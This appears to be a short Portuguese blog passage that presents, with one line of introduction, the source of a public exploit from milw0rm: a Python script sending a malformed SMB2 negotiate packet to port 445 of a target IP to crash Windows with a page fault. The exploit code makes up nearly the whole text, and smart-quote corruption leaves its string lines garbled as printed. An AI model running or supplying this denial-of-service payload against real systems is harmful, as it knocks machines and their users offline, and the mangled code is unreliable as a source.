Abaixo segue o fonte do exploit (extraído do site milw0rm aqui) que diga-se de passagem é extremamente simples …
#!/usr/bin/python
# When SMB2.0 recieve a “&” char in the “Process Id High” SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA
from socket import socket
from time import sleep
host = “IP_ADDR”, 445
buff = (
“\x00\x00\x00\x90? # Begin SMB header: Session message
“\xff\x53\x4d\x42? # Server Component: SMB
“\x72\x00\x00\x00? # Negociate Protocol
“\x00\x18\x53\xc8? # Operation 0×18 & sub 0xc853
“\x00\x26?# Process ID High: –> :) normal value should be “\x00\x00?
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe”
“\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54?
“\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31?
“\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00?
“\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57?
“\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61?
“\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c”
“\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c”
“\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e”
“\x30\x30\x32\x00?
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
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